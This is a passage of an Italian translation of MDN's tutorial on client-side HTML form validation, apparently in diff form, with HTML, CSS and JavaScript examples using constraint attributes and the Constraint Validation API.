+<p>Per i campi numerici (es. <code><a href="/en-US/docs/Web/HTML/Element/input/number">&lt;input type="number"&gt;</a></code>), gli attirbuti <code><a href="/en-US/docs/Web/HTML/Attributes/min">min</a></code> e <code><a href="/en-US/docs/Web/HTML/Attributes/max">max</a></code> possono essere utilizzati per fornire i limiti di valori validi. Se il campo contiene valori fuori dai limiti non è valido.</p>
+
+<p>Vediamo un altro esempio. Creiamo una copia del file <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a>.</p>
+
+<p>Ora sostituiamo i contenuto dell'elemento <code>&lt;body&gt;</code> con il seguente:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="choose"&gt;Would you prefer a banana or a cherry?&lt;/label&gt;
+    &lt;input type="text" id="choose" name="i_like" required minlength="6" maxlength="6"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="number"&gt;How many would you like?&lt;/label&gt;
+    &lt;input type="number" id="number" name="amount" value="1" min="1" max="10"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Submit&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<ul>
+ <li>Si può vedere che abbiamo messo 6 negli attrinuti <code>minlength</code> e <code>maxlength</code> del campo <code>text</code> che corrisponde alla lunghezza delle parole banana e cherry.</li>
+ <li>Abbiamo anche aggiunto un campo <code>number</code>  con un <code>min</code> di uno ed un<code>max</code> di dieci. I numeri fuori dai limiti vengono visualizzati come non validi; gli utenti non possono usare le frecce di incremento e decremento per andare oltre i limiti. Se l'utente inserisce manualmente un dato esterno ai limiti il valore non è valido. Il numero non è obbligatorio quindi se si rimuove il valore, resta comunque valido.</li>
+</ul>
+
+<div class="hidden">
+<pre class="brush: css notranslate">input:invalid {
+  border: 2px dashed red;
+}
+
+input:valid {
+  border: 2px solid black;
+}
+
+div {
+  margin-bottom: 10px;
+}</pre>
+</div>
+
+<p>Ecco un esempio live:</p>
+
+<p>{{EmbedLiveSample("Constraining_the_values_of_your_entries", "100%", 100)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puoi trovare questo esempio live su GitHub su <a href="https://mdn.github.io/learning-area/html/forms/form-validation/fruit-length.html">fruit-length.html</a> (guarda anche il <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-length.html">codice sorgente</a>.)</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: <code>&lt;input type="number"&gt;</code> (ed anche altri tipi come <code>range</code> e <code>date</code>) possono anche avere l'attributo <a href="/en-US/docs/Web/HTML/Attributes/step"><code>step</code></a>, che specifica il valore minimo di incremento e decremento quando viene usato il campo (ad esempio premendo i pulsanti su e giu dei campi numerici). Nel esempio precedente non abbiamo inserito l'attributo <code>step</code> quindi il valore parte da <code>1</code>. Questo significa che i numeri con la virgola come 3.2, sono anch'essi non validi.</p>
+</div>
+
+<h3 id="Esempio_completo">Esempio completo</h3>
+
+<p>Ecco un esempio completo che dimostra l'uso delle funzionalità di validazione built-in di HTML:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;p&gt;
+    &lt;fieldset&gt;
+      &lt;legend&gt;Do you have a driver's license?&lt;abbr title="This field is mandatory" aria-label="required"&gt;*&lt;/abbr&gt;&lt;/legend&gt;
+      &lt;!-- While only one radio button in a same-named group can be selected at a time,
+           and therefore only one radio button in a same-named group having the "required"
+           attribute suffices in making a selection a requirement --&gt;
+      &lt;input type="radio" required name="driver" id="r1" value="yes"&gt;&lt;label for="r1"&gt;Yes&lt;/label&gt;
+      &lt;input type="radio" required name="driver" id="r2" value="no"&gt;&lt;label for="r2"&gt;No&lt;/label&gt;
+    &lt;/fieldset&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="n1"&gt;How old are you?&lt;/label&gt;
+    &lt;!-- The pattern attribute can act as a fallback for browsers which
+         don't implement the number input type but support the pattern attribute.
+         Please note that browsers that support the pattern attribute will make it
+         fail silently when used with a number field.
+         Its usage here acts only as a fallback --&gt;
+    &lt;input type="number" min="12" max="120" step="1" id="n1" name="age"
+           pattern="\d+"&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="t1"&gt;What's your favorite fruit?&lt;abbr title="This field is mandatory" aria-label="required"&gt;*&lt;/abbr&gt;&lt;/label&gt;
+    &lt;input type="text" id="t1" name="fruit" list="l1" required
+           pattern="[Bb]anana|[Cc]herry|[Aa]pple|[Ss]trawberry|[Ll]emon|[Oo]range"&gt;
+    &lt;datalist id="l1"&gt;
+      &lt;option&gt;Banana&lt;/option&gt;
+      &lt;option&gt;Cherry&lt;/option&gt;
+      &lt;option&gt;Apple&lt;/option&gt;
+      &lt;option&gt;Strawberry&lt;/option&gt;
+      &lt;option&gt;Lemon&lt;/option&gt;
+      &lt;option&gt;Orange&lt;/option&gt;
+    &lt;/datalist&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="t2"&gt;What's your e-mail address?&lt;/label&gt;
+    &lt;input type="email" id="t2" name="email"&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="t3"&gt;Leave a short message&lt;/label&gt;
+    &lt;textarea id="t3" name="msg" maxlength="140" rows="5"&gt;&lt;/textarea&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;button&gt;Submit&lt;/button&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p>Ed ora un po' di CSS per dare stile al HTML:</p>
+
+<pre class="brush: css notranslate">form {
+  font: 1em sans-serif;
+  max-width: 320px;
+}
+
+p &gt; label {
+  display: block;
+}
+
+input[type="text"],
+input[type="email"],
+input[type="number"],
+textarea,
+fieldset {
+  width : 100%;
+  border: 1px solid #333;
+  box-sizing: border-box;
+}
+
+input:invalid {
+  box-shadow: 0 0 5px 1px red;
+}
+
+input:focus:invalid {
+  box-shadow: none;
+}</pre>
+
+<p>Questo viene presentato nel modo seguente:</p>
+
+<p>{{EmbedLiveSample("Full_example", "100%", 420)}}</p>
+
+<p>Vedi <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation#Validation-related_attributes">Validation-related attributes</a> per la lista completa degli attributi che possono essere utilizzati per limitare i valori ed i tipi di input che li supportano.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puoi trovare questo esempio live su GitHub su  <a href="https://mdn.github.io/learning-area/html/forms/form-validation/full-example.html">full-example.html</a> (guarda anche il <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/full-example.html">codice sorgente</a>.)</p>
+</div>
+
+<h2 id="Validazione_delle_forms_con_JavaScript">Validazione delle forms con JavaScript</h2>
+
+<p>Sei costretto ad usare JavaScript se desideri controllare l'aspetto dei messaggi nativi d'errore o per conformarti ai browsers più vecchi che non supportano la validazione built-in di HTML. In questa sezione daremo un occhiata a diversi modi per farlo.</p>
+
+<h3 id="Le_API_di_limitazione_della_validazione">Le API di limitazione della validazione</h3>
+
+<p>Molti browsers supportano le <a href="/en-US/docs/Web/API/Constraint_validation">Constraint Validation API</a>, che consistono in un gruppo di metodi e proprietà disponibili nelle seguienti interfaccie degli elementi delle form del DOM:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/HTMLButtonElement">HTMLButtonElement</a></code> (risponde all'elemento <code><a href="/en-US/docs/Web/HTML/Element/button">&lt;button&gt;</a></code>)</li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLFieldSetElement">HTMLFieldSetElement</a></code> (risponde all'elemento <code><a href="/en-US/docs/Web/HTML/Element/fieldset">&lt;fieldset&gt;</a></code>)</li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLInputElement">HTMLInputElement</a></code> (risponde all'elemento <code><a href="/en-US/docs/Web/HTML/Element/input">&lt;input&gt;</a></code>)</li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLOutputElement">HTMLOutputElement</a></code> (risponde all'elemento <code><a href="/en-US/docs/Web/HTML/Element/output">&lt;output&gt;</a></code>)</li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLSelectElement">HTMLSelectElement</a></code> (risponde all'elemento <code><a href="/en-US/docs/Web/HTML/Element/select">&lt;select&gt;</a></code>)</li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLTextAreaElement">HTMLTextAreaElement</a></code> (risponde all'elemento <code><a href="/en-US/docs/Web/HTML/Element/textarea">&lt;textarea&gt;</a></code>)</li>
+</ul>
+
+<p id="Constraint_validation_API_properties">Le API di validazione rendono le seguenti proprietà disponibili per li elementi di cui sopra.</p>
+
+<ul>
+ <li><code>validationMessage</code>: Restituisce un messaggio che descrive il limite di validazione che il campo non soddisfa nella lingua del browser. Se il campo non ha limiti di validazione  (<code>willValidate</code> è <code>false</code>) o se il valore è valido restituisce una stringa vuota.</li>
+ <li><code>validity</code>: Restituisce un oggetto <code>ValidityState</code> che contiene alcune proprietà che descrivono lo stato di validità dell'elemento. Puoi trovare tutti i dettagli delle proprietà disponibili nella pagina di riferimento {{domxref("ValidityState")}}; sotto elenchiamo alcuni dei più comuni:
+  <ul>
+   <li>{{domxref("ValidityState.patternMismatch", "patternMismatch")}}: Restituisce <code>true</code> se il valore non è conforme al modello specificato in {{htmlattrxref("pattern", "input")}}, e <code>false</code> se è conforme. Se è <code>true</code>, l'elemento attiva la pseudoclasse CSS {{cssxref(":invalid")}}.</li>
+   <li>{{domxref("ValidityState.tooLong", "tooLong")}}: Restituisce <code>true</code> se il valore supera la lunghezza massima specificata in {{htmlattrxref("maxlength", "input")}}, o <code>false</code> se è più corta o ugauale al massimo.Se è <code>true</code>, l'elemento attiva la pseudoclasse CSS {{cssxref(":invalid")}}.</li>
+   <li>{{domxref("ValidityState.tooShort", "tooShort")}}: Restituisce <code>true</code> se il valore è più corto della dimensione minima specificata da {{htmlattrxref("minlength", "input")}}, o <code>false</code> se è uguale o maggiore del minimo. Se è <code>true</code>, l'elemento attiva la pseudoclasse CSS {{cssxref(":invalid")}}.</li>
+   <li>{{domxref("ValidityState.rangeOverflow", "rangeOverflow")}}: Restituisce <code>true</code> se il valore supera il massimo specificato da {{htmlattrxref("max", "input")}}, o <code>false</code> se è inferiore o uguale al massimo. Se è <code>true</code>, l'elemento attiva le pseudoclassi {{cssxref(":invalid")}} e {{cssxref(":out-of-range")}}.</li>
+   <li>{{domxref("ValidityState.rangeUnderflow", "rangeUnderflow")}}: Restituisce <code>true</code> se il valore è inferiore al minimo specificato da {{htmlattrxref("min", "input")}}, o <code>false</code> se è maggiore o ugualeal minimo. Se è <code>true</code>, l'elemento attiva le pseudoclassi {{cssxref(":invalid")}} e {{cssxref(":out-of-range")}}.</li>
+   <li>{{domxref("ValidityState.typeMismatch", "typeMismatch")}}: Restituisce <code>true</code> non rispetta la sintassi (quando {{htmlattrxref("type", "input")}} è <code>email</code> o <code>url</code>), o <code>false</code> se la sintassi è corretta. Se è <code>true</code>, l'elemento attiva la pseudoclasse CSS {{cssxref(":invalid")}}.</li>
+   <li><code>valid</code>: Restituisce <code>true</code> se l'elemento rispetta tutti i parametri di validazione ed è quindi considerato valido, o <code>false</code> se non ne rispetta almeno uno. Se è <code>true</code>, l'elemento attiva la pseudoclasse CSS {{cssxref(":valid")}}; altimenti attiva la pseudocasse {{cssxref(":invalid")}}.</li>
+   <li><code>valueMissing</code>: Restituisce <code>true</code> se l'elemento possiede l'attributo {{htmlattrxref("required", "input")}}, ma non è stato inserito un valore o <code>false</code> altirmenti. Se è <code>true</code>, l'elemento attiva la pseudoclasse CSS {{cssxref(":invalid")}}.</li>
+  </ul>
+ </li>
+ <li><code>willValidate</code>: Restituisce <code>true</code> se l'elemento verrà validato quando la form verrà spedita; altrimenti <code>false</code>.</li>
+</ul>
+
+<p id="Constraint_validation_API_methods">Le API di validazione rendono anche disponibili i seguenti metodi per gli elementi di cui sopra.</p>
+
+<ul>
+ <li><code>checkValidity()</code>: Restituisce <code>true</code> se il valore dell'elemento non ha problemi di validazione; altrimenti <code>false</code>. Se l'elemento non è valido viene anche lanciato un <a href="/en-US/docs/Web/API/HTMLInputElement/invalid_event"><code>invalid</code> event</a> sul elemento.</li>
+ <li><code>setCustomValidity(<em>message</em>)</code>: Aggiunge un messaggio di errore personalizzato all'elemento; se si imposta il messaggio di errore personalizzato l'elemento viene considerato non valido, e viene visualizzato l'errore specificato. Questo consente di usare codice JavaScript per stabilire condizioni di errore di validazione diversi da quelli messi a disposizione dallo standard HTML5. Il messaggio viene esposto all'utente quando si presenta il problema.</li>
+</ul>
+
+<h4 id="Implementare_un_messaggio_di_errore_personalizzato">Implementare un messaggio di errore personalizzato</h4>
+
+<p>Come abbiamo visto negli esempi di limiti di validazione HTML5 in precedenza, ogni volta che l'utente tenta di inviare una form non valida, il browser visualizza un messaggio d'errore. Il modo in cui viene visualizzato dipende dal browser.</p>
+
+<p>Questi messaggi automatizzati hanno due controindicazioni:</p>
+
+<ul>
+ <li>Non c'è modo di cambiare il loro aspetto con CSS.</li>
+ <li>Essi dipendono dalla lingua del browser, che signfica che potresiti avere una pagina scritta in una lingua ed i messaggi di errore in un'altra come si vede in questa immagine presa da Firefox.</li>
+</ul>
+
+<p><img alt="Example of an error message with Firefox in French on an English page" src="/files/4329/error-firefox-win7.png" style="height: 97px; width: 228px;"></p>
+
+<p>Personalizzare questi messaggi di errore è uno dei casi più comuni di utilizzo delle <a href="/en-US/docs/Web/API/Constraint_validation" rel="external">constraint validation API</a>. Vediamo un piccolo esempio di come fare questo.</p>
+
+<p>Incominciamo con un po' di HTML semplice (prova ad inserirlo in un file HTML vuoto o usa come base una copia di of <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a> come preferisci):</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;label for="mail"&gt;I would like you to provide me with an e-mail address:&lt;/label&gt;
+  &lt;input type="email" id="mail" name="mail"&gt;
+  &lt;button&gt;Submit&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>Ed aggiungi il seguente JavaScript alla pagina:</p>
+
+<pre class="brush: js notranslate">const email = document.getElementById("mail");
+
+email.addEventListener("input", function (event) {
+  if (email.validity.typeMismatch) {
+    email.setCustomValidity("I am expecting an e-mail address!");
+  } else {
+    email.setCustomValidity("");
+  }
+});</pre>
+
+<p>Qui aggiungiamo un riferimento al campo email ed aggiungiamo un event listener che viene eseguito ogni volta che il valore cambia.</p>
+
+<p>Nel codici controlliamo se la proprietà <code>validity.typeMismatch</code> del campo emali diventa <code>true</code>, significa che il valore contenuto non corrisponde al modello degli indirizzi email. Se è così viene chiamato il metodo <a href="/en-US/docs/HTML/HTML5/Constraint_validation#Constraint_API's_element.setCustomValidity()"><code>setCustomValidity()</code></a> con un messaggio appropriato. Questo rende il campo non valido, in modo che quando viene inviata la form, l'invio fallisce e viene visualizzato il messaggio di errore.</p>
+
+<p>Se la proprietà <code>validity.typeMismatch</code> restituisce <code>false</code>, chiamiamo il metodo <code>setCustomValidity()</code> con una stringa vuota che rende valido il campo in modo che possa essere spedito.</p>
+
+<p>Lo puoi provare con:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/forms/form-validation/custom-error-message.html", '100%', 80)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puoi trovare questo esempio live su GitHub su <a href="https://mdn.github.io/learning-area/html/forms/form-validation/custom-error-message.html">custom-error-message.html</a> (vedi anche il <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/custom-error-message.html">codice sorgente</a>.)</p>
+</div>
+
+<h4 id="Un_esempio_più_dettagliato">Un esempio più dettagliato</h4>
+
+<p>Ora che abbiamo visto un esempio molto semplice, vediamo come possiamo usare le API per costurire un sistema di validazione un po' più complesso.</p>
+
+<p>Prima di tutto il codice HTML:</p>
+
+<pre class="brush: html notranslate">&lt;form novalidate&gt;
+  &lt;p&gt;
+    &lt;label for="mail"&gt;
+      &lt;span&gt;Please enter an email address:&lt;/span&gt;
+      &lt;input type="email" id="mail" name="mail" required minlength="8"&gt;
+      &lt;span class="error" aria-live="polite"&gt;&lt;/span&gt;
+    &lt;/label&gt;
+  &lt;/p&gt;
+  &lt;button&gt;Submit&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>Questa semplice form usa l'attributo <code><a href="/en-US/docs/Web/HTML/Attributes/novalidate">novalidate</a></code> per disattivare la validazine automatica del browser; questo consente al nostro script di prendere il controllo della validazione. Questo comunque non disabilita il supporto per le API di validazione e l'applicazione delle pseudoclassi CSS come {{cssxref(":valid")}}, ecc. Questo significa che se anche il browser con controlla la validità della form prima di spedire i dati, tu puoi comunque farlo dal solo ed applicare lo stile appropriato.</p>
+
+<p>Il nostro input da validare è un <code><a href="/en-US/docs/Web/HTML/Element/input/email">&lt;input type="email"&gt;</a></code>, che è <code>required</code>, ed ha un <code>minlength</code> di 8 caratteri. Proviamo a controllare la validità usando il nostro codice e visualizziamo un messaggio appropriato per ciascun attributo.</p>
+
+<p>Ci proponiamo di visualizzare il messaggio all'intermo di un elemento <code>&lt;span&gt;</code>. L'attributo <a href="/en-US/docs/Accessibility/ARIA/ARIA_Live_Regions"><code>aria-live</code></a> per assicurarci che il nostro messaggio di errore verrà reso disponibile a tutti compresi coloro che usano i lettori di schermo.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Il punto chiave qui è l'uso dell'attributo <code>novalidate</code> per la form che è ciò che impedisce alla form di vidualizzare il proprio messaggio di errore e ci consente invece di visualizzare il nostro messaggio presonalizzato nel DOM in qualche modo scelto da noi.</p>
+</div>
+
+<p>Ora un po' di CSS oer migliorare leggermente il look della form, e fornire qualche tipo di informazione quando il valore non è valido:</p>
+
+<pre class="brush: css notranslate">body {
+  font: 1em sans-serif;
+  width: 200px;
+  padding: 0;
+  margin : 0 auto;
+}
+
+p * {
+  display: block;
+}
+
+input[type=email]{
+  -webkit-appearance: none;
+  appearance: none;
+
+  width: 100%;
+  border: 1px solid #333;
+  margin: 0;
+
+  font-family: inherit;
+  font-size: 90%;
+
+  box-sizing: border-box;
+}
+
+/* This is our style for the invalid fields */
+input:invalid{
+  border-color: #900;
+  background-color: #FDD;
+}
+
+input:focus:invalid {
+  outline: none;
+}
+
+/* This is the style of our error messages */
+.error {
+  width  : 100%;
+  padding: 0;
+
+  font-size: 80%;
+  color: white;
+  background-color: #900;
+  border-radius: 0 0 5px 5px;
+
+  box-sizing: border-box;
+}
+
+.error.active {
+  padding: 0.3em;
+}</pre>
+
+<p>Ora vediamo il codice JavaScript che implementa l'errore personalizzato di validazione.</p>
+
+<pre class="brush: js notranslate">// There are many ways to pick a DOM node; here we get the form itself and the email
+// input box, as well as the span element into which we will place the error message.
+const form  = document.getElementsByTagName('form')[0];
+
+const email = document.getElementById('mail');
+const emailError = document.querySelector('#mail + span.error');
+
+email.addEventListener('input', function (event) {
+  // Each time the user types something, we check if the
+  // form fields are valid.
+
+  if (email.validity.valid) {
+    // In case there is an error message visible, if the field
+    // is valid, we remove the error message.
+    emailError.innerHTML = ''; // Reset the content of the message
+    emailError.className = 'error'; // Reset the visual state of the message
+  } else {
+    // If there is still an error, show the correct error
+    showError();
+  }
+});
+
+form.addEventListener('submit', function (event) {
+  // if the email field is valid, we let the form submit
+
+  if(!email.validity.valid) {
+    // If it isn't, we display an appropriate error message
+    showError();
+    // Then we prevent the form from being sent by canceling the event
+    event.preventDefault();
+  }
+});
+
+function showError() {
+  if(email.validity.valueMissing) {
+    // If the field is empty
+    // display the following error message.
+    emailError.textContent = 'You need to enter an e-mail address.';
+  } else if(email.validity.typeMismatch) {
+    // If the field doesn't contain an email address
+    // display the following error message.
+    emailError.textContent = 'Entered value needs to be an e-mail address.';
+  } else if(email.validity.tooShort) {
+    // If the data is too short
+    // display the following error message.
+    emailError.textContent = `Email should be at least ${ email.minLength } characters; you entered ${ email.value.length }.`;
+  }
+
+  // Set the styling appropriately
+  emailError.className = 'error active';
+}</pre>
+
+<p>I commenti spiegano le cose per bene, ma brevemente:</p>
+
+<ul>
+ <li>Ogni volta che cambia il valore dell'input controlliamo per vedere se contiene dati validi. Se lo sono rimuoviamo eventuali messaggi di errore. Se invece ci sono errori eseguiamo <code>showError()</code> per inviare il messaggio appropriato.</li>
+ <li>Ogni volta che proviamo ad inviare la form controlliamo nuovamente se i dati sono validi. Se è così consentiamo la spedizione. Altrimenti eseguiamo <code>showError()</code> per visaulizzare il messaggio appropriato ed impedire la spedizione della form con <code><a href="/en-US/docs/Web/API/Event/preventDefault">preventDefault()</a></code>.</li>
+ <li>La funzione <code>showError()</code> utilizza varie proprietà della <code>validity</code> dell'input per determinare il tipo di errore e quindi visualizzare il messaggio appropriato.</li>
+</ul>
+
+<p>Ecco il risultato live:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/forms/form-validation/detailed-custom-validation.html", '100%', 150)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puoi trovare questo esempio live su GitHub su <a href="https://mdn.github.io/learning-area/html/forms/form-validation/detailed-custom-validation.html">detailed-custom-validation.html</a> (vedi anche il <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/detailed-custom-validation.html">codice sorgente</a>.)</p>
+</div>
+
+<p>Le API di validazione ti forniscono uno stumento potente per gestire la validaizone delle form, fornendoti un grande controllo sulla interfaccia utente sopra e sotto quello che puoi fare con i soli HTML e CSS.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Per ulteriori ingormazioni vedi il nostro <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">Constraint validation guide</a>, ed il riferimento <a href="/en-US/docs/Web/API/Constraint_validation">Constraint Validation API</a>.</p>
+</div>
+
+<h3 id="Validare_le_forms_senza_le_built-in_API">Validare le forms senza le built-in API</h3>
+
+<p>In alcuni casi come ad esempio per i browsers più vecchi o per il supporto ai <a href="/en-US/docs/Learn/Forms/How_to_build_custom_form_controls">custom controls</a>, non sarà possibile usare le API di validazione. Potrai ancora utilizzare JavaScript per validare la tua form, ma devi scrivere tutto da solo.</p>
+
+<p>Per validare la form fatti alcune domande:</p>
+
+<dl>
+ <dt>Che tipo di validazione devo eseguire?</dt>
+ <dd>Devi determinare come validare i tuoi dati: operazioni sulle stringhe, conversioni di tipo, regular expressions, e via discorrendo. Sta tutto a te.</dd>
+ <dt>Cosa devo fare se la form non è valida?</dt>
+ <dd>Questo chiaramente è materia di UI. Devi decidere come si deve comportare la form. Deve la form spedire i dati ugualmente? Devi illuminare i campi che sono in errore? Devi visualizzare messaggi di errore?</dd>
+ <dt>Come posso aiutare l'utente a correggere i dati non validi?</dt>
+ <dd>Per ridurre la frustrazione dell'utente, è molto importante fornire il maggior numero di informazioni possibili per guidarlo a correggere gli errori. Dovresti fornire suggerimenti sui dati attesi ed anche messaggi di errore chiari e comprensibili. Se vuoi approfondire come approntare la UI adeguata per la validazione, ecco alcuni articoli utili che dovresti leggere:
+ <ul>
+  <li>SmashingMagazine: <a href="http://uxdesign.smashingmagazine.com/2012/06/27/form-field-validation-errors-only-approach/" rel="external">Form-Field Validation: The Errors-Only Approach</a></li>
+  <li>SmashingMagazine: <a href="http://www.smashingmagazine.com/2009/07/07/web-form-validation-best-practices-and-tutorials/" rel="external">Web Form Validation: Best Practices and Tutorials</a></li>
+  <li>Six Revision: <a href="http://sixrevisions.com/user-interface/best-practices-for-hints-and-validation-in-web-forms/" rel="external">Best Practices for Hints and Validation in Web Forms</a></li>
+  <li>A List Apart: <a href="http://www.alistapart.com/articles/inline-validation-in-web-forms/" rel="external">Inline Validation in Web Forms</a></li>
+ </ul>
+ </dd>
+</dl>
+
+<h4 id="Un_esempio_che_non_usa_le_API_di_validazione">Un esempio che non usa le API di validazione</h4>
+
+<p>Per illustrare questo, quello che segue è una versione semplificata dell'esempio precedente che funziona anche con i browsers più vecchi.</p>
+
+<p>Il HTML è quasi uguale; abbiamo solo rimosso alcune funzionalità di validazione.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;p&gt;
+    &lt;label for="mail"&gt;
+        &lt;span&gt;Please enter an email address:&lt;/span&gt;
+        &lt;input type="text" class="mail" id="mail" name="mail"&gt;
+        &lt;span class="error" aria-live="polite"&gt;&lt;/span&gt;
+    &lt;/label&gt;
+  &lt;/p&gt;
+  &lt;!-- Some legacy browsers need to have the `type` attribute
+       explicitly set to `submit` on the `button`element --&gt;
+  &lt;button type="submit"&gt;Submit&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>Allo stesso modo, anche il CSS non necessita di grandi modifiche; abbiamo solo trasformato la pseudoclasse {{cssxref(":invalid")}} in una vera classe ed evitato di usare il selettore di attiributo che non funziona con Internet Explorer 6.</p>
+
+<pre class="brush: css notranslate">body {
+  font: 1em sans-serif;
+  width: 200px;
+  padding: 0;
+  margin : 0 auto;
+}
+
+form {
+  max-width: 200px;
+}
+
+p * {
+  display: block;
+}
+
+input.mail {
+  -webkit-appearance: none;
+
+  width: 100%;
+  border: 1px solid #333;
+  margin: 0;
+
+  font-family: inherit;
+  font-size: 90%;
+
+  box-sizing: border-box;
+}
+
+/* This is our style for the invalid fields */
+input.invalid{
+  border-color: #900;
+  background-color: #FDD;
+}
+
+input:focus.invalid {
+  outline: none;
+}
+
+/* This is the style of our error messages */
+.error {
+  width  : 100%;
+  padding: 0;
+
+  font-size: 80%;
+  color: white;
+  background-color: #900;
+  border-radius: 0 0 5px 5px;
+  box-sizing: border-box;
+}
+
+.error.active {
+  padding: 0.3em;
+}</pre>
+
+<p>Le modifiche maggiori sono nel codice JavaScript, che richiede una revisione molto più pesante.</p>
+
+<pre class="brush: js notranslate">// There are fewer ways to pick a DOM node with legacy browsers
+const form  = document.getElementsByTagName('form')[0];
+const email = document.getElementById('mail');
+
+// The following is a trick to reach the next sibling Element node in the DOM
+// This is dangerous because you can easily build an infinite loop.
+// In modern browsers, you should prefer using element.nextElementSibling
+let error = email;
+while ((error = error.nextSibling).nodeType != 1);
+
+// As per the HTML5 Specification
+const emailRegExp = /^[a-zA-Z0-9.!#$%&amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/;
+
+// Many legacy browsers do not support the addEventListener method.
+// Here is a simple way to handle this; it's far from the only one.
+function addEvent(element, event, callback) {
+  let previousEventCallBack = element["on"+event];
+  element["on"+event] = function (e) {
+    const output = callback(e);
+
+    // A callback that returns `false` stops the callback chain
+    // and interrupts the execution of the event callback.
+    if (output === false) return false;
+
+    if (typeof previousEventCallBack === 'function') {
+      output = previousEventCallBack(e);
+      if(output === false) return false;
+    }
+  }
+};
+
+// Now we can rebuild our validation constraint
+// Because we do not rely on CSS pseudo-class, we have to
+// explicitly set the valid/invalid class on our email field
+addEvent(window, "load", function () {
+  // Here, we test if the field is empty (remember, the field is not required)
+  // If it is not, we check if its content is a well-formed e-mail address.
+  const test = email.value.length === 0 || emailRegExp.test(email.value);
+
+  email.className = test ? "valid" : "invalid";
+});
+
+// This defines what happens when the user types in the field
+addEvent(email, "input", function () {
+  const test = email.value.length === 0 || emailRegExp.test(email.value);
+  if (test) {
+    email.className = "valid";
+    error.innerHTML = "";
+    error.className = "error";
+  } else {
+    email.className = "invalid";
+  }
+});
+
+// This defines what happens when the user tries to submit the data
+addEvent(form, "submit", function () {
+  const test = email.value.length === 0 || emailRegExp.test(email.value);
+
+  if (!test) {
+    email.className = "invalid";
+    error.innerHTML = "I expect an e-mail, darling!";
+    error.className = "error active";
+
+    // Some legacy browsers do not support the event.preventDefault() method
+    return false;
+  } else {
+    email.className = "valid";
+    error.innerHTML = "";
+    error.className = "error";
+  }
+});</pre>
+
+<p>Il risultato assomiglia a questo:</p>
+
+<p>{{EmbedLiveSample("An_example_that_doesnt_use_the_constraint_validation_API", "100%", 130)}}</p>
+
+<p>Come puoi vedere, non è proprio così difficile costruire un tuo sistema di validazione. La parte difficile è di renderlo abbastanza generico da essere usato su tutte le piattaforme e con ogni form che andarai a creare. Ci sono anche molte librerie pronte che ti aiuntano nella validazione come ad esempio <a href="http://rickharrison.github.com/validate.js/" rel="external">Validate.js</a>.</p>
+
+<h2 id="Metti_alla_prova_le_tue_capacità!">Metti alla prova le tue capacità!</h2>
+
+<p>Sei arrivato alla fine di questo articolo, ma riesci a ricordare le informazioni più importanti? Puoi trovare alcuni ulteriori test per verificare che tu abbia recepito questi informazioni prima di proseguire — vedi <a href="/en-US/docs/Learn/Forms/Test_your_skills:_Form_validation">Test your skills: Form validation</a>.</p>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>La validazione delle form lato client alle volte richiede JavaScript se desideri configurare lo stile ed i messaggi di errore, ma richiede <em>sempre</em> che tu pensi attentamente all'utente. Ricordati sempre di guidare l'utente ad inserire dati corretti. Quindi assicurati di:</p>
+
+<ul>
+ <li>Visualizzare messaggi di errore espliciti.</li>
+ <li>Sii permissivo per i formati di input non essenziali.</li>
+ <li>Segnala in modo esatto il punto in cui si verifica l'errore soprattutto se la form è molto grande.</li>
+</ul>
+
+<p>Quando hai controllato che la form è stata compilata correttamente, la puoi inviare. In seguito spieghiamo come <a href="/en-US/docs/Learn/Forms/Sending_and_retrieving_form_data">spedire i dati delle form</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/Forms/UI_pseudo-classes", "Learn/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms")}}</p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Forms/Your_first_form">La tua prima form</a></li>
